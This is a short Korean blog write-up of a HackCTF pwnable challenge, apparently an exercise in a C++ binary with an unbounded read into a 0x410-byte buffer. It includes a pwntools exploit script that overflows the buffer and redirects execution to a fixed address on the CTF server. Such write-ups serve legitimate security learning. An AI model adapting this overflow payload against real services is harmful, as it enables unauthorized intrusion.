728x90
check
- 64bit
- NX
Analyze
pseudo code
실행
- 환경변수를 입력하면 환경변수의 값을 출력해준다.
- 환경변수를 입력받을 때 name 변수에 저장하는 듯 하다. name 변수는 0x410 byte만큼 할당되어 있고, 길이제한 없이 값을 입력받는다.
- 입력받은 이름(값)을 getenv 함수를 통해 찾아낸다.
Exploit
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3013)
pl = "A"*(0x410 + 8)
pl += p64(0x400897)
p.sendline(pl)
p.interactive()
C++라서 이해가 잘 안되는 코드들이 많았지만,,, 실행해보면서 대충 어떤 식으로 payload를 짜면 될 지 감이 왔고 겁먹은 만큼 어려운 문제는 아니였다!
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] RTL core (0) | 2021.02.14 |
---|---|
[HackCTF] Random Key (0) | 2021.02.13 |
[HackCTF] g++ pwn (0) | 2021.02.13 |
[HackCTF] Poet (0) | 2021.02.11 |
[HackCTF] RTL_World (0) | 2021.02.11 |